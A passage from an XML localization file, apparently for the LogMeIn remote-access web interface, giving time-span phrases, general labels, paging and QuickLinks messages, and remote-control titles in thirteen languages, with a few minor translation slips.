<pt-br>%1 dias, %2 horas, %3 minutos atrás</pt-br>
<nl>%1 dagen, %2 uren, %3 minuten geleden</nl>
</msg>
<msg name="AGOHM">
<en>%2 hours and %3 minutes ago</en>
<de>%2 Stunden und %3 Minuten in Betrieb</de>
<es>Hace %2 horas y %3 minutos</es>
<fr>il y a %2 heures et %3 minutes</fr>
<it>%2 ore e %3 minuti fa</it>
<ru>%2 часов и %3 минут назад</ru>
<ja>%2 時間 %3 分前</ja>
<zh>%2 小时 %3 分钟之前</zh>
<ko>%2시간 %3분 전</ko>
<en-gb>%2 hours and %3 minutes ago</en-gb>
<hu>%2 órája és %3 perce</hu>
<pt-br>%2 horas e %3 minutos atrás</pt-br>
<nl>%2 uren en %3 minuten geleden</nl>
</msg>
<msg name="AGOM">
<en>%3 minutes ago</en>
<de>seit %3 Minuten in Betrieb</de>
<es>Hace %3 minutos</es>
<fr>il y a %3 minutes</fr>
<it>%3 minuti fa</it>
<ru>%3 минут назад</ru>
<ja>%3 分前</ja>
<zh>%3 分钟之前</zh>
<ko>%3분 전</ko>
<en-gb>%3 minutes ago</en-gb>
<hu>%3 perce</hu>
<pt-br>%3 minutos atrás</pt-br>
<nl>%3 minuten geleden</nl>
</msg>
<msg name="AGOS">
<en>%4 seconds ago</en>
<de>%4 Sekunden in Betrieb</de>
<es>Hace %4 segundos</es>
<fr>%4 secondes passées</fr>
<it>%4 secondi fa</it>
<ru>%4 секунд назад</ru>
<ja>%4 秒前</ja>
<zh>%4 秒钟之前</zh>
<ko>%4초 전</ko>
<en-gb>%4 seconds ago</en-gb>
<hu>%4 másodperce</hu>
<pt-br>%4 segundos atrás</pt-br>
<nl>%4 seconden geleden</nl>
</msg>
<msg name="FORDHM">
<en>for %1 days, %2 hours and %3 minutes</en>
<de>%1 Tage, %2 Stunden  und %3 Minuten lang</de>
<es>durante %1 días, %2 horas y %3 minutos</es>
<fr>pendant %1 jours, %2 heures, %3 minutes</fr>
<it>per %1 giorni, %2 ore e %3 minuti</it>
<ru>в течение %1 дней, %2 часов и %3 минут</ru>
<ja>%1 日と %2 時間 %3 分の間</ja>
<zh>持续 %1 天 %2 小时 %3 分钟</zh>
<ko>%1일 %2시간 %3분 동안</ko>
<en-gb>for %1 days, %2 hours and %3 minutes</en-gb>
<hu>%1 napja, %2 órája %3 perce</hu>
<pt-br>para %1 dias, %2 horas e %3 minutos</pt-br>
<nl>gedurende %1 dagen, %2 uren en %3 minuten</nl>
</msg>
<msg name="FORHM">
<en>for %2 hours and %3 minutes</en>
<de>%2 Stunden lang und %3 Minuten lang</de>
<es>durante %2 horas y %3 minutos</es>
<fr>pendant %2 heures et %3 minutes</fr>
<it>per %2 ore e %3 minuti</it>
<ru>в течение %2 часов и %3 минут</ru>
<ja>%2 時間 %3 分の間</ja>
<zh>持续 %2 小时 %3 分钟</zh>
<ko>%2시간 %3분 동안</ko>
<en-gb>for %2 hours and %3 minutes</en-gb>
<hu>%2 órája és %3 perce</hu>
<pt-br>para %2 horas %3 minutos</pt-br>
<nl>gedurende %2 uren en %3 minuten</nl>
</msg>
<msg name="FORM">
<en>for %3 minutes</en>
<de>%3 Minuten lang</de>
<es>durante %3 minutos</es>
<fr>pendant %3 minutes</fr>
<it>per %3 minuti</it>
<ru>в течение %3 минут</ru>
<ja>%3 分間</ja>
<zh>持续 %3 分钟</zh>
<ko>%3분 동안</ko>
<en-gb>for %3 minutes</en-gb>
<hu>%3 perce</hu>
<pt-br>para %3 minutos</pt-br>
<nl>gedurende %3 minuten</nl>
</msg>
<msg name="FORMS">
<en>for %3 minutes and %4 seconds</en>
<de>%3 Minuten und %4 Sekunden lang</de>
<es>Durante %3 minutos y %4 segundos</es>
<fr>pendant %3 minutes et %4 secondes</fr>
<it>per %3 minuti e %4 secondi</it>
<ru>в течение %3 минут и %4 секунд</ru>
<ja>%3 分%4 秒の間</ja>
<zh>持续 %3 分钟 %4 秒钟</zh>
<ko>%3분 %4초 동안</ko>
<en-gb>for %3 minutes and %4 seconds</en-gb>
<hu>%3 perce és %4 másodperce</hu>
<pt-br>Para %3 minutos e %4 segundos</pt-br>
<nl>gedurende %3 minuten en %4 seconden</nl>
</msg>
<msg name="FORS">
<en>for %4 seconds</en>
<de>%4 Sekunden lang</de>
<es>durante %4 segundos</es>
<fr>pendant %4 secondes</fr>
<it>per %4 secondi</it>
<ru>в течение %4 секунд</ru>
<ja>%4 秒間</ja>
<zh>持续 %4 秒钟</zh>
<ko>%4초 동안</ko>
<en-gb>for %4 seconds</en-gb>
<hu>%4 másodperce</hu>
<pt-br>para %4 segundos</pt-br>
<nl>gedurende %4 seconden</nl>
</msg>
<msg name="AFTERDHMS">
<en>after %1 days, %2 hours, %3 minutes and %4 seconds</en>
<de>nach %1 Tage, %2 Stunden  und %3 Minuten</de>
<es>después de %1 días, %2 horas, %3 minutos y %4 segundos</es>
<fr>après %1 jours, %2 heures, %3 minutes et %4 secondes</fr>
<it>dopo %1 giorni, %2 ore, %3 minuti e %4 secondi</it>
<ru>через %1 дней, %2 часов, %3 минут и %4 секунд</ru>
<ja>%1 日と %2 時間 %3 分 %4 秒後</ja>
<zh>%1 天 %2 小时 %3 分钟 %4 秒钟之后</zh>
<ko>%1일 %2시간 %3분 %4초 후</ko>
<en-gb>after %1 days, %2 hours, %3 minutes and %4 seconds</en-gb>
<hu>%1 nap, %2 óra %3 perc és %4 másodperc után</hu>
<pt-br>Depois de %1 dias, %2 horas, %3 minutos e %4 segundos</pt-br>
<nl>na %1 dagen, %2 uren, %3 minuten en %4 seconden</nl>
</msg>
<msg name="AFTERHMS">
<en>after %2 hours, %3 minutes and %4 seconds</en>
<de>nach %2 Stunden  und %3 Minuten</de>
<es>después de %2 horas, %3 minutos y %4 segundos</es>
<fr>après %2 heures, %3 minutes et %4 secondes</fr>
<it>dopo %2 ore, %3 minuti e %4 secondi</it>
<ru>через %2 часов, %3 минут и %4 секунд</ru>
<ja>%2 時間 %3 分 %4 秒後</ja>
<zh>%2 小时 %3 分钟 %4 秒钟之后</zh>
<ko>%2시간 %3분 %4초 후</ko>
<en-gb>after %2 hours, %3 minutes and %4 seconds</en-gb>
<hu>%2 óra %3 perc és %4 másodperc után</hu>
<pt-br>depois de %2 horas, %3 minutos e %4 segundos</pt-br>
<nl>na %2 uren, %3 minuten en %4 seconden</nl>
</msg>
<msg name="AFTERMS">
<en>after %3 minutes and %4 seconds</en>
<de>nach und %3 Minuten und %4 Sekunden</de>
<es>después de %3 minutos y %4 segundos</es>
<fr>après %3 minutes et %4 secondes</fr>
<it>dopo %3 minuti e %4 secondi</it>
<ru>через %3 минут и %4 секунд</ru>
<ja>%3 分 %4 秒後</ja>
<zh>%3 分钟 %4 秒钟之后</zh>
<ko>%3분 %4초 후</ko>
<en-gb>after %3 minutes and %4 seconds</en-gb>
<hu>%3 perc és %4 másodperc után</hu>
<pt-br>depois de  %3 minutos e %4 segundos</pt-br>
<nl>na %3 minuten en %4 seconden</nl>
</msg>
<msg name="INDHM">
<en>in %1 days, %2 hours and %3 minutes</en>
<de>in %1 Tage, %2 Stunden, und %3 Minuten</de>
<es>dentro de %1 días, %2 horas y %3 minutos</es>
<fr>dans %1 jours, %2 heures, %3 minutes</fr>
<it>tra %1 giorni, %2 ore e %3 minuti</it>
<ru>в пределах %1 дней, %2 часов и %3 минут</ru>
<ja>%1 日と %2 時間 %3 分以内</ja>
<zh>在 %1 天 %2 小时 %3 分钟内</zh>
<ko>%1일 %2시간 %3분 내</ko>
<en-gb>in %1 days, %2 hours and %3 minutes</en-gb>
<hu>%1 napon, %2 órán és %3 percen belül</hu>
<pt-br>em %1 dias, %2 horas e %3 minutos</pt-br>
<nl>binnen %1 dagen, %2 uren en %3 minuten</nl>
</msg>
<msg name="INHM">
<en>in %2 hours and %3 minutes</en>
<de>in %2 Stunden und in %3 Minuten</de>
<es>dentro de %2 horas y %3 minutos</es>
<fr>dans %2 heures et %3 minutes</fr>
<it>tra %2 ore e %3 minuti</it>
<ru>в пределах %2 часов и %3 минут</ru>
<ja>%2 時間 %3 分以内</ja>
<zh>在 %2 小时 %3 分钟内</zh>
<ko>%2시간 %3분 내</ko>
<en-gb>in %2 hours and %3 minutes</en-gb>
<hu>%2 órán és %3 percen belül</hu>
<pt-br>em %2 horas %3 minutos</pt-br>
<nl>binnen %2 uren en %3 minuten</nl>
</msg>
<msg name="INM">
<en>in %3 minutes</en>
<de>in %3 Minuten</de>
<es>dentro de %3 minutos</es>
<fr>dans %3 minutes</fr>
<it>tra %3 minuti</it>
<ru>в пределах %3 минут</ru>
<ja>%3 分以内</ja>
<zh>在 %3 分钟内</zh>
<ko>%3분 내</ko>
<en-gb>in %3 minutes</en-gb>
<hu>%3 percen belül</hu>
<pt-br>em %3 minutos</pt-br>
<nl>binnen %3 minuten</nl>
</msg>
<msg name="INS">
<en>in %4 seconds</en>
<de>in %4 Sekunden</de>
<es>dentro de %4 segundos</es>
<fr>en %4 secondes</fr>
<it>tra %4 secondi</it>
<ru>в пределах %4 секунд</ru>
<ja>%4 秒以内</ja>
<zh>在 %4 秒钟内</zh>
<ko>%4초 내</ko>
<en-gb>in %4 seconds</en-gb>
<hu>%4 másodpercen belül</hu>
<pt-br>em %4 segundos</pt-br>
<nl>binnen %4 seconden</nl>
</msg>
<msg name="SPNFMT">
<!-- hint for time span format, days:hours:minutes:seconds -->
<en>D:HH:MM:SS</en>
<fr>J:HH:MM:SS</fr>
<es>D:HH:MM:SS</es>
<de>T:HH:MM:SS</de>
<it>G.HH.MM.SS</it>
<nl>D:UU:MM:SS</nl>
<pt-br>D:HH:MM:SS</pt-br>
<zh>天:小时:分钟:秒钟</zh>
<en-gb>D:HH:MM:SS</en-gb>
<ru>Д:ЧЧ:ММ:СС</ru>
<ja>日:時:分:秒</ja>
<ko>D:HH:MM:SS</ko>
<hu>N:ÓÓ:PP:MP</hu>
</msg>
<msg name="SPNFMTPAREN">
<!-- hint for time span format, days:hours:minutes:seconds -->
<en>(D:HH:MM:SS)</en>
<de>(T:HH:MM:SS)</de>
<es>(D:HH:MM:SS)</es>
<fr>(J:HH:MM:SS)</fr>
<it>(G.HH.MM.SS)</it>
<ru>(Д:ЧЧ:ММ:СС)</ru>
<ja>(日:時:分:秒)</ja>
<zh>(天:小时:分钟:秒钟)</zh>
<ko>(D:HH:MM:SS)</ko>
<en-gb>(D:HH:MM:SS)</en-gb>
<hu>(N:ÓÓ:PP:MP)</hu>
<pt-br>(D:HH:MM:SS)</pt-br>
<nl>(D:UU:MM:SS)</nl>
</msg>
<!-- miscellaneous messages -->
<msg name="GENERAL">
<en>General</en>
<de>Allgemein</de>
<es>General</es>
<fr>Généralités</fr>
<it>Generale</it>
<ru>Общие</ru>
<ja>全般</ja>
<zh>常规</zh>
<ko>일반</ko>
<en-gb>General</en-gb>
<hu>Általános</hu>
<pt-br>Geral</pt-br>
<nl>Algemeen</nl>
</msg>
<msg name="GO">
<en>Go</en>
<de>Gehe zu</de>
<es>Ir</es>
<fr>Aller à</fr>
<it>Vai</it>
<ru>Перейдите</ru>
<ja>実行</ja>
<zh>转到</zh>
<ko>이동</ko>
<en-gb>Go</en-gb>
<hu>Ugrás</hu>
<pt-br>Ir</pt-br>
<nl>Ga naar</nl>
</msg>
<msg name="NAME">
<en>Name</en>
<de>Name</de>
<es>Nombre</es>
<fr>Nom</fr>
<it>Nome</it>
<ru>Имя</ru>
<ja>名前</ja>
<zh>名称</zh>
<ko>이름</ko>
<en-gb>Name</en-gb>
<hu>Név</hu>
<pt-br>Nome</pt-br>
<nl>Naam</nl>
</msg>
<msg name="VALUE">
<en>Value</en>
<de>Wert</de>
<es>Valor</es>
<fr>Valeur</fr>
<it>Valore</it>
<ru>Значение</ru>
<ja>値</ja>
<zh>值</zh>
<ko>값</ko>
<en-gb>Value</en-gb>
<hu>Érték</hu>
<pt-br>Valor</pt-br>
<nl>Waarde</nl>
</msg>
<msg name="PATH">
<en>Path</en>
<de>Pfad</de>
<es>Ruta</es>
<fr>Chemin</fr>
<it>Percorso</it>
<ru>Путь</ru>
<ja>パス</ja>
<zh>路径</zh>
<ko>경로</ko>
<en-gb>Path</en-gb>
<hu>Elérési út</hu>
<pt-br>Caminho</pt-br>
<nl>Pad</nl>
</msg>
<msg name="VERSION">
<en>Version</en>
<de>Version</de>
<es>Versión</es>
<fr>Version</fr>
<it>Versione</it>
<ru>Версия</ru>
<ja>バージョン</ja>
<zh>版本</zh>
<ko>버전</ko>
<en-gb>Version</en-gb>
<hu>Verzió</hu>
<pt-br>Versão</pt-br>
<nl>Versie</nl>
</msg>
<msg name="DESC">
<en>Description</en>
<de>Beschreibung</de>
<es>Descripción</es>
<fr>Description</fr>
<it>Descrizione</it>
<ru>Описание</ru>
<ja>説明</ja>
<zh>说明</zh>
<ko>설명</ko>
<en-gb>Description</en-gb>
<hu>Leírás</hu>
<pt-br>Descrição</pt-br>
<nl>Het ticket voor Bestanden delen is gemaakt.</nl>
</msg>
<msg name="TYPE">
<en>Type</en>
<de>Typ</de>
<es>Tipo</es>
<fr>Type</fr>
<it>Tipo</it>
<ru>Тип</ru>
<ja>種類</ja>
<zh>类型</zh>
<ko>유형</ko>
<en-gb>Type</en-gb>
<hu>Típus</hu>
<pt-br>Tipo</pt-br>
<nl>Type</nl>
</msg>
<msg name="KILOBYTE">
<en>KB</en>
<de>KB</de>
<es>KB</es>
<fr>Ko</fr>
<it>KB</it>
<ru>Кб</ru>
<ja>KB</ja>
<zh>KB</zh>
<ko>KB</ko>
<en-gb>KB</en-gb>
<hu>KB</hu>
<pt-br>KB</pt-br>
<nl>kB</nl>
</msg>
<msg name="MEGABYTE">
<en>MB</en>
<de>MB</de>
<es>MB</es>
<fr>Mo</fr>
<it>MB</it>
<ru>Мб</ru>
<ja>MB</ja>
<zh>MB</zh>
<ko>MB</ko>
<en-gb>MB</en-gb>
<hu>MB</hu>
<pt-br>MB</pt-br>
<nl>MB</nl>
</msg>
<msg name="GIGABYTE">
<en>GB</en>
<de>GB</de>
<es>GB</es>
<fr>Go</fr>
<it>GB</it>
<ru>Гб</ru>
<ja>GB</ja>
<zh>GB</zh>
<ko>GB</ko>
<en-gb>GB</en-gb>
<hu>GB</hu>
<pt-br>GB</pt-br>
<nl>GB</nl>
</msg>
<msg name="MIN">
<en>Minimum</en>
<de>Minimum</de>
<es>Mínimo</es>
<fr>Minimum</fr>
<it>Minimo</it>
<ru>Минимум</ru>
<ja>最小</ja>
<zh>最小</zh>
<ko>최소</ko>
<en-gb>Minimum</en-gb>
<hu>Minimum</hu>
<pt-br>Mínimo</pt-br>
<nl>Minimum</nl>
</msg>
<msg name="MAX">
<en>Maximum</en>
<de>Maximum</de>
<es>Máximo</es>
<fr>Maximum</fr>
<it>Massimo</it>
<ru>Максимум</ru>
<ja>最大</ja>
<zh>最大</zh>
<ko>최대</ko>
<en-gb>Maximum</en-gb>
<hu>Maximum</hu>
<pt-br>Máximo</pt-br>
<nl>Maximum</nl>
</msg>
<msg name="CURRENT">
<en>Current</en>
<de>Aktuell</de>
<es>Actual</es>
<fr>Actuel</fr>
<it>Corrente</it>
<ru>Текущий</ru>
<ja>現在</ja>
<zh>当前</zh>
<ko>현재</ko>
<en-gb>Current</en-gb>
<hu>Jelenlegi</hu>
<pt-br>Atual</pt-br>
<nl>Huidig</nl>
</msg>
<msg name="AVAILABLE">
<en>Available</en>
<de>Vorhanden</de>
<es>Disponible</es>
<fr>Disponible</fr>
<it>Disponibile</it>
<ru>Доступный</ru>
<ja>有効</ja>
<zh>可用</zh>
<ko>사용 가능</ko>
<en-gb>Available</en-gb>
<hu>Elérhető</hu>
<pt-br>Disponível</pt-br>
<nl>Beschikbaar</nl>
</msg>
<msg name="NEVER">
<en>Never</en>
<de>Nie</de>
<es>Nunca</es>
<fr>Damais</fr>
<it>Mai</it>
<ru>Никогда</ru>
<ja>常に無効</ja>
<zh>从未</zh>
<ko>안 함</ko>
<en-gb>Never</en-gb>
<hu>Soha</hu>
<pt-br>Nunca</pt-br>
<nl>Nooit</nl>
</msg>
<msg name="DEFAULT">
<en>Default</en>
<de>Standard</de>
<es>Preestablecido</es>
<fr>Par défaut</fr>
<it>Predefinito</it>
<ru>По умолчанию</ru>
<ja>既定</ja>
<zh>默认</zh>
<ko>기본</ko>
<en-gb>Default</en-gb>
<hu>Alapértelmezett</hu>
<pt-br>Padrão</pt-br>
<nl>Standaard</nl>
</msg>
<msg name="PROPS">
<en>Properties</en>
<de>Eigenschaften</de>
<es>Propiedades</es>
<fr>Propriétés</fr>
<it>Proprietà</it>
<ru>Свойства</ru>
<ja>プロパティ</ja>
<zh>属性</zh>
<ko>속성</ko>
<en-gb>Properties</en-gb>
<hu>Tulajdonságok</hu>
<pt-br>Propriedades</pt-br>
<nl>Eigenschappen</nl>
</msg>
<msg name="UNKNOWN">
<en>Unknown</en>
<de>Unbekannt</de>
<es>Desconocido</es>
<fr>Inconnu</fr>
<it>Sconosciuto</it>
<ru>Неизвестен</ru>
<ja>不明</ja>
<zh>未知</zh>
<ko>알 수 없음</ko>
<en-gb>Unknown</en-gb>
<hu>Ismeretlen</hu>
<pt-br>Desconhecido</pt-br>
<nl>Onbekend</nl>
</msg>
<msg name="PLANTOUSELMI">
<en>I plan to use LogMeIn</en>
<de>Ich habe vor, LogMeIn zu verwenden</de>
<es>Tengo previsto utilizar LogMeIn</es>
<fr>J’envisage d’utiliser LogMeIn</fr>
<it>Intendo utilizzare LogMeIn</it>
<ru>Я буду использовать LogMeIn</ru>
<ja>LogMeIn を使用する予定がある</ja>
<zh>我打算使用 LogMeIn</zh>
<ko>LogMeIn을 사용할 계획입니다</ko>
<hu>Célom a LogMeIn-nel</hu>
<pt-br>Pretendo usar o LogMeIn</pt-br>
<nl>Ik ben van plan LogMeIn te gebruiken</nl>
</msg>
<msg name="PLANOPT1">
<en>Personal use</en>
<de>Private Nutzung</de>
<es>Uso personal</es>
<fr>Utilisation personnelle</fr>
<it>Uso personale</it>
<ru>Персональное использование</ru>
<ja>個人用</ja>
<zh>个人用途</zh>
<ko>개인용</ko>
<hu>Saját felhasználás</hu>
<pt-br>Uso pessoal</pt-br>
<nl>Persoonlijk gebruik</nl>
</msg>
<msg name="PLANOPT2">
<en>Business use (non-IT)</en>
<de>Geschäftlicher Gebrauch (nicht IT)</de>
<es>Uso comercial (no TI)</es>
<fr>Utilisation professionnelle (non informatique)</fr>
<it>Uso commerciale (non IT)</it>
<ru>Коммерческое использование (не IT)</ru>
<ja>ビジネス用 (IT 以外)</ja>
<zh>商业用途(非 IT)</zh>
<ko>업무용(비-IT)</ko>
<hu>Üzleti felhasználás (nem IT)</hu>
<pt-br>Uso nos negócios (não-TI)</pt-br>
<nl>Gebruik voor bedrijven (niet IT)</nl>
</msg>
<msg name="PLANOPT3">
<en>IT support</en>
<de>IT-Support</de>
<es>Asistencia de TI</es>
<fr>Assistance informatique</fr>
<it>Supporto IT</it>
<ru>IT-поддержка</ru>
<ja>IT サポート</ja>
<zh>IT 支持</zh>
<ko>IT 지원</ko>
<hu>IT-támogatás</hu>
<pt-br>Suporte de TI</pt-br>
<nl>IT-ondersteuning</nl>
</msg>
<!-- general messages for page flipping-->
<cat name="PAGING">
<msg name="NUM">
<en>Page %PAGE.NUM</en>
<de>Seite %PAGE.NUM</de>
<es>Página %PAGE.NUM</es>
<fr>Page %PAGE.NUM</fr>
<it>Pagina %PAGE.NUM</it>
<ru>Страница %PAGE.NUM</ru>
<ja>%PAGE.NUM ページ</ja>
<zh>第 %PAGE.NUM 页</zh>
<ko>%PAGE.NUM 페이지</ko>
<en-gb>Page %PAGE.NUM</en-gb>
<hu>%PAGE.NUM oldal</hu>
<pt-br>Página %PAGE.NUM</pt-br>
<nl>Pagina %PAGE.NUM</nl>
</msg>
<msg name="PERPAGE">
<en>show </en>
<de>zeige</de>
<es>mostrar</es>
<fr>Montrer</fr>
<it>mostra</it>
<ru>показать</ru>
<ja>表示</ja>
<zh>显示</zh>
<ko>표시</ko>
<en-gb>show</en-gb>
<hu>mutat</hu>
<pt-br>mostrar</pt-br>
<nl>weergeven</nl>
</msg>
<msg name="TOFIRST">
<en>First page</en>
<de>Erste Seite</de>
<es>Primera página</es>
<fr>Première page</fr>
<it>Prima pagina</it>
<ru>Первая страница</ru>
<ja>最初のページ</ja>
<zh>首页</zh>
<ko>첫 번째 페이지</ko>
<en-gb>First page</en-gb>
<hu>Első oldal</hu>
<pt-br>Primeira página</pt-br>
<nl>Eerste pagina</nl>
</msg>
<msg name="TOLAST">
<en>Last page</en>
<de>Letzte Seite</de>
<es>Última página</es>
<fr>Dernière page</fr>
<it>Ultima pagina</it>
<ru>Последняя страница</ru>
<ja>最後のページ</ja>
<zh>最后一页</zh>
<ko>마지막 페이지</ko>
<en-gb>Last page</en-gb>
<hu>Utolsó oldal</hu>
<pt-br>Última página</pt-br>
<nl>Laatste pagina</nl>
</msg>
<msg name="TONEXT">
<en>Following %PAGE.LENGTH</en>
<de>Folgende %PAGE.LENGHT</de>
<es>Siguiente %PAGE.LENGTH</es>
<fr>Suivante %PAGE.LENGTH</fr>
<it>%PAGE.LENGTH seguente</it>
<ru>Следующая %PAGE.LENGTH</ru>
<ja>次の %PAGE.LENGTH</ja>
<zh>后面的 %PAGE.LENGTH</zh>
<ko>다음 %PAGE.LENGTH</ko>
<en-gb>Following %PAGE.LENGTH</en-gb>
<hu>Következő %PAGE.LENGTH</hu>
<pt-br>Próxima %PAGE.LENGTH</pt-br>
<nl>Volgende %PAGE.LENGTH</nl>
</msg>
<msg name="TOPREV">
<en>Previous %PAGE.LENGTH</en>
<de>Vorgehende %PAGE.LENGHT</de>
<es>Anterior %PAGE.LENGTH</es>
<fr>Precédante %PAGE.LENGTH</fr>
<it>%PAGE.LENGTH precedente</it>
<ru>Предыдущая %PAGE.LENGTH</ru>
<ja>前の %PAGE.LENGTH</ja>
<zh>前面的 %PAGE.LENGTH</zh>
<ko>이전 %PAGE.LENGTH</ko>
<en-gb>Previous %PAGE.LENGTH</en-gb>
<hu>Előző %PAGE.LENGTH</hu>
<pt-br>%PAGE.LENGTH anterior</pt-br>
<nl>Vorige %PAGE.LENGTH</nl>
</msg>
<msg name="NOTICE">
<en>Note: The information listed here is broken down to several pages.
Use the navigation toolbar to see the rest of the data.</en>
<de>Hinweis:Die hier angezeigte Information erstreckt sich über mehrere
Seiten. Nutzen Sie die Steuerelemente der Navigationsleiste, um den Rest
der Daten anzuzeigen.</de>
<es>Nota: La información de esta lista está dispersa en varias páginas.
Utilice la barra de navegación para ver el resto de la información.</es>
<fr>Remarque : L'information affichée ici est subdivisée en plusieurs pages.
Utilisez la barre d'outil de navigation pour voir le reste des données.</fr>
<it>Nota: Le informazioni elencate sono suddivise in diverse pagine.
Per visualizzare il resto dei dati, utilizzare la barra degli strumenti di spostamento.</it>
<ru>Примечание. Приведенная здесь информация разбита на несколько страниц.
Воспользуйтесь панелью навигации, чтобы посмотреть остальную часть данных.</ru>
<ja>ノート : ここにリスト化された情報は、数ページにわたっています。データの残りの部分を見るには、ナビゲーション ツールバーを使用してください。</ja>
<zh>注意:此处所列信息被分成若干页。
使用导航工具栏查看剩余数据。</zh>
<ko>참고: 여기에 나열된 정보가 여러 페이지로 분할되었습니다. 나머지 데이터를 보려면 탐색 도구 모음을 사용하십시오.</ko>
<en-gb>Note: The information listed here is broken down into several pages.
Use the navigation toolbar to see the rest of the data.</en-gb>
<hu>Megjegyzés: Az itt feltüntetett információ több oldalra van lebontva.
A navigálás eszköztár segítségével tekintheti meg a többi adatot.</hu>
<pt-br>Observação: As informações listadas aqui foram divididas em várias páginas.
Use a barra de navegação para ver o resto dos dados.</pt-br>
<nl>Opmerking: Het overzicht van de informatie die hier wordt weergegeven, is verdeeld over meerdere pagina's. Gebruik de navigatiewerkbalk om de overige gegevens weer te geven.</nl>
</msg>
<msg name="NOITEMS">
<en>There are no items to show.</en>
<de>Es gibt keine Elemente.</de>
<es>No hay ningún elemento que mostrar.</es>
<fr>Il n'y a aucun élément.</fr>
<it>Nessuna voce da visualizzare.</it>
<ru>Нет элементов для просмотра.</ru>
<ja>表示する項目はありません。</ja>
<zh>没有要显示的项目。</zh>
<ko>표시할 항목이 없습니다.</ko>
<en-gb>There are no items to show.</en-gb>
<hu>Nincsenek megjeleníthető elemek.</hu>
<pt-br>Não há itens a exibir.</pt-br>
<nl>Er zijn geen items om weer te geven.</nl>
</msg>
</cat>
<!-- general messages for quick links -->
<cat name="QLINKS">
<msg name="TITLE">
<en>QuickLinks</en>
<de>QuickLinks</de>
<es>QuickLinks</es>
<fr>Liens rapides</fr>
<it>Collegamenti rapidi</it>
<ru>Быстрые ссылки</ru>
<ja>クイックリンク</ja>
<zh>QuickLink</zh>
<ko>퀵링크</ko>
<en-gb>QuickLinks</en-gb>
<hu>Gyorshivatkozások</hu>
<pt-br>QuickLinks</pt-br>
<nl>QuickLinks</nl>
</msg>
<msg name="DESC.1">
<!-- before the icon -->
<en>Add your own links here by clicking</en>
<de>Fügen Sie Ihre eigenen Links</de>
<es>Agregar sus propios hipervínculos haciendo clic</es>
<fr>Ajouter vos propres liens en cliquant ici</fr>
<it>Fare clic qui per aggiungere i propri collegamenti</it>
<ru>Щелкните здесь, чтобы добавить собственные ссылки</ru>
<ja>コンテンツ ページをクリックして、</ja>
<zh>通过在任意目录页单击</zh>
<ko>컨텐츠 페이지를 클릭하여</ko>
<en-gb>Add your own links here by clicking</en-gb>
<hu>Adja hozzá saját hivatkozásait, bármelyik</hu>
<pt-br>Adicione seus próprios links aqui clicando</pt-br>
<nl>Voeg uw eigen links toe door te klikken</nl>
</msg>
<msg name="DESC.2">
<!-- after the icon -->
<en>on any content page.</en>
<de>auf jede Seite hinzu.</de>
<es>en cualquier página de contenidos.</es>
<fr>sur n'importe quelle page.</fr>
<it>in una pagina di contenuto qualsiasi.</it>
<ru>на любую страницу с содержимым.</ru>
<zh>以在此处添加您自己的链接。</zh>
<ko>여기에 자신의 링크를 추가합니다.</ko>
<en-gb>on any content page.</en-gb>
<ja>ここに自分専用のリンクを追加します。</ja>
<hu>tartalom-oldalra kattintva.</hu>
<pt-br>em qualquer página de conteúdo.</pt-br>
<nl>op elke pagina met inhoud.</nl>
</msg>
<msg name="ADD">
<en>Add this page to your QuickLinks</en>
<de>Fügt diese Seite zu Ihren QuickLinks hinzu.</de>
<es>Agregar esta página a sus QuickLinks</es>
<fr>Ajouter cette page dans vos Liens rapides</fr>
<it>Aggiungi questa pagina ai Collegamenti rapidi</it>
<ru>Добавьте эту страницу к быстрым ссылкам</ru>
<ja>クイックリンク にこのページを追加</ja>
<zh>将此页添加至您的 QuickLink</zh>
<ko>이 페이지를 퀵링크에 추가</ko>
<en-gb>Add this page to your QuickLinks</en-gb>
<hu>Adja hozzá ezt az oldalt saját Gyorshivatkozásaihoz</hu>
<pt-br>Adicione esta página aos seus QuickLinks</pt-br>
<nl>Deze pagina toevoegen aan uw QuickLinks</nl>
</msg>
<msg name="ADDED">
<en>%REQ.FAVNAME added to QuickLinks</en>
<de>%REQ.FAVNAME zu QuickLinks hinzugefügt</de>
<es>%REQ.FAVNAME agregado a QuickLinks</es>
<fr>%REQ.FAVNAME ajouté aux Liens rapides</fr>
<it>%REQ.FAVNAME aggiunto ai Collegamenti rapidi</it>
<ru>%REQ.FAVNAME добавлена к быстрым ссылкам</ru>
<ja>%REQ.FAVNAME を クイックリンク に追加</ja>
<zh>已将 %REQ.FAVNAME 添加至 QuickLink</zh>
<ko>%REQ.FAVNAME이(가) 퀵링크에 추가됨</ko>
<en-gb>%REQ.FAVNAME added to QuickLinks</en-gb>
<hu>A(z) %REQ.FAVNAME hozzáadva a Gyorshivatkozásokhoz</hu>
<pt-br>%REQ.FAVNAME adicionado aos QuickLinks</pt-br>
<nl>%REQ.FAVNAME is toegevoegd aan QuickLinks</nl>
</msg>
<msg name="DEL">
<en>Remove this link from QuickLinks</en>
<de>Link aus QuickLinks entfernen</de>
<es>Eliminar este vínculo de QuickLinks</es>
<fr>Supprimer ce lien des Liens rapides</fr>
<it>Rimuovi collegamento dai Collegamenti rapidi</it>
<ru>Удалить эту ссылку из быстрых ссылок</ru>
<ja>このリンクを クイックリンク から削除</ja>
<zh>从 QuickLink 中删除此链接</zh>
<ko>퀵링크에서 이 링크 제거</ko>
<en-gb>Remove this link from QuickLinks</en-gb>
<hu>Hivatkozás eltávolítása a Gyorshivatkozásokból</hu>
<pt-br>Remova esta link de QuickLinks</pt-br>
<nl>Deze link uit de QuickLinks verwijderen</nl>
</msg>
<msg name="EDIT">
<en>Edit your QuickLinks</en>
<de>QuickLinks bearbeiten</de>
<es>Editar sus QuickLinks</es>
<fr>Editer vos Liens rapides</fr>
<it>Modifica Collegamenti rapidi</it>
<ru>Изменить быстрые ссылки</ru>
<ja>クイックリンク を編集</ja>
<zh>编辑您的 QuickLink</zh>
<ko>퀵링크 편집</ko>
<en-gb>Edit your QuickLinks</en-gb>
<hu>Gyorshivatkozások szerkesztése</hu>
<pt-br>Edite seus QuickLinks</pt-br>
<nl>Uw QuickLinks bewerken</nl>
</msg>
</cat>
<!-- REMCTRL remote control applet messages -->
<!-- do not replace FAIL\n, MSG\n in localized versions -->
<cat name="REMCTRL">
<msg name="TITLE">
<en>Remote Control</en>
<de>Fernsteuerung</de>
<ja>リモート制御</ja>
<es>Control Remoto</es>
<fr>Contrôle à distance</fr>
<it>Controllo remoto</it>
<ru>Удаленное управление</ru>
<zh>远程控制</zh>
<ko>원격 제어</ko>
<en-gb>Remote Control</en-gb>
<hu>Távvezérlő</hu>
<pt-br>Controle remoto</pt-br>
<nl>Besturing op afstand</nl>
</msg>
<msg name="INPUTCAPTURED">
